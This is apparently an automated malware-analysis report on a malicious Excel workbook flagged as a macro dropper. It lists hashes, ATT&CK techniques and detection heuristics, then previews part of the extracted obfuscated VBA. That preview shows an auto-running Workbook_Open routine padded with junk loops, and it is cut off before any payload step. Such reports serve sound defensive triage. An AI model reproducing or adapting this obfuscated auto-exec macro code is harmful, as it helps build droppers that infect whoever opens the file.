Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ac7b1ae2cb635ebd…

MALICIOUS

Office (OOXML)

31.0 KB Created: 2018-10-21 23:16:42 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2019-11-20
MD5: ce4b27decff777c749010395bb6d5ec8 SHA-1: d96a7627407163c29edd6f4721af311b461eb74a SHA-256: ac7b1ae2cb635ebd8c16fd6ec66131b9d02b477dc2e8b883d8f31ac1bc79820f
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is an OOXML document containing a Workbook_Open VBA macro. This macro utilizes Shell() and CreateObject calls, indicating an attempt to execute arbitrary code. The presence of obfuscated VBA code and the ClamAV detection 'Doc.Dropper.Agent-7386118-0' strongly suggest this macro is designed to download and execute a secondary malicious payload. The specific VBA code is heavily obfuscated, preventing a more detailed analysis of its direct actions.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-7386118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7386118-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 17930 bytes
SHA-256: ffa475ac24fabf1ab0ca7f8f9d462895bf52cd00f47eb43f7c122cc457f6a9b6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()
suQLbCv.bofN3D_b4J1Tb8KiXlCC
While 19 = 6790
Dim GunRvHkrd_MfF7Hw4MrAxcXxHobewpxV32pqALbtaP7 As Variant
Wend
Dim y6SMdyXnI3AMm As Integer
While 5 = 9423
Dim UyIEpE5wO1mMPZvpu8iffh1xa7pXBmb1mCTJCVCUTIh_o9MWl7X5ap As Variant
Wend
Dim Fw7TmrXfukXui As Integer
While 19 = 3329
Dim MEjmX4LKU9vHbsRvDNfY76gMqrT7xX6 As Variant
Wend
Dim o4X_PAS__Ndtw As Integer
While 24 = 6771
Dim IKJ9EspV1UlPhV5oiNV7CENDsAtsNfJaKtCegU1Dqixgurrn As Variant
Wend
Dim XSZ9GvtD7END97 As Integer
While 27 = 1812
Dim GTIJ_xSYGLWQObQpQARET5_KSY_8gZEw_sacWjl3S9JLjzePu As Variant
Wend
Dim PxMt2kLN81ox As Integer

While 2 = 6127
Dim T1qEjKfAwRqWXvUs1jb3rLPk2BLFNNXs6_9GbE_n9N78EyTEObV As Variant
Wend
Dim VWu_Gi_Mg8Xvh3 As Integer
While 7 = 6344
Dim aSvMOujx4cNReBqF1u1ATI_zgW2aoibXDGW As Variant
Wend
Dim ARBKkvhzk3O As Integer
While 3 = 9843
Dim iKz1g_q1lPS5o23HHT_yNVnpwxhONvRW7 As Variant
Wend
Dim QwpjwBaqKdEq As Integer
While 3 = 7607
Dim VUSrlYejCAKfICraZlz758WDKgTQhGB As Variant
Wend
Dim h8YaNgkVvw4OjH As Integer
While 3 = 3466
Dim ZsR9OinGuX8Oe_DMA48T8JlPL3_cIFCFbCFj9h1bLYKAc9BfQhu9QOJNEBv As Variant
Wend
Dim VhJ7nUzva8 As Integer
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "suQLbCv"
Dim keNdQSpkbaFtZhDYvJD_ZMFGZ6GMgjXNcHSp83RgyrXm8_Fqn81Nr As String
 Function bMbBdGg8kwMzbJkTCxK21c6vd3AagolKihyTR7vGlPdNheE9UR(BeFDPlLqBFVQXBK9AMnGrdsaWpH9J2JVJWPQRWR78S3ihxR4AHFKTTJgvnoibLfI69EAu3om5qHXjI3iVN7At9BzKsemqrctwsmhqPHGbcPmJv6ktELMOdX66NyAWB5KLWj1fS1_EygOrXnYv32)
While 22 = 5375
Dim hjNxs189SEf8G7Zhbl58fNEJLd7RAOgcQer1pMFUg_Ns As Variant
Wend
Dim spjiAxlwofTScD As Integer
While 6 = 6623
Dim kM3o7CgBolMi2MeiZa_VZe4WQLmsxuJXVll2a2GJJqA8TZ As Variant
Wend
Dim WPE_3RFm_S As Integer
While 18 = 8679
Dim eWtYwM3ZyLNkmFgRxJrd6CzONbqoP_N8fh6dWtWcFfdLpvm8g As Variant
Wend
Dim id64jVafcJTeM As Integer

 Dim gkLLwnb6dgoqYADrs7qT_XbwMStZZWcX_LSAjVoQRxYaiiJA6p5Er6LGHY9c4
While 6 = 5713
Dim Ht8ODDJC5CwNWXglhbxsGqiRD6Jc73iB73VsNZqivcmZGnL7435q As Variant
Wend
Dim ev_aInKG2qEBctQ As Integer
While 9 = 5407
Dim dBxWGtN6nCHIXsLiD81eIw4ijMipDWk7WVq5Eev7PzYW As Variant
Wend
Dim AcvWnGACkMFp As Integer
While 28 = 2647
Dim FMv3Ig1PaJvBAQchJ4MSVfgEZKB6UhTHNAw1r2vs8H As Variant
Wend
Dim yptVVnb1q9wSjpp As Integer


   Dim ECrUVG3SqvIALIOsjHik_JNRlmCjFO_kiFY3PmZllkEySuhw2WvIwBA4wYsr_QKZphaEtVb7r79b_Y91_Orrc4wgEd_z3qgSYnGtRbBd5xazBgyWZ1mxib7vt4_NPkC_YnCYQM
While 1 = 879
Dim a8e543ymv_dlyRFdTLjqXpynQ3pmHZqLIAYwMCNC_C7U2B As Variant
Wend
Dim lhjdaE_8PuHz As Integer
While 4 = 9837
Dim mAKKcTRPax2ROQ8gqTrbvNOFCn9jLJtnnWYLzwikCjjxpPMHFbP5Cp As Variant
Wend
Dim CWt_HyUqDOCM As Integer
While 28 = 4590
Dim n22up3uEYKnaZuYycs4xk7SBbuntOTeStalTPUu As Variant
Wend
Dim VI6OzrQmWXf As Integer
   
While 18 = 6375
Dim MSUNlpgzQ5NAzDpTq8G_gG8fmnqcRIFPTsFJ7dy6vZCyGGEKIWjnNR8EUyj As Variant
Wend
Dim DfGx8oE7dVKHK As Inte
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 51200 bytes
SHA-256: 58e93ee0e4f9d2463fbb0b9c1e1ede64770f5529c31335d1a7d57307dbd660e5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.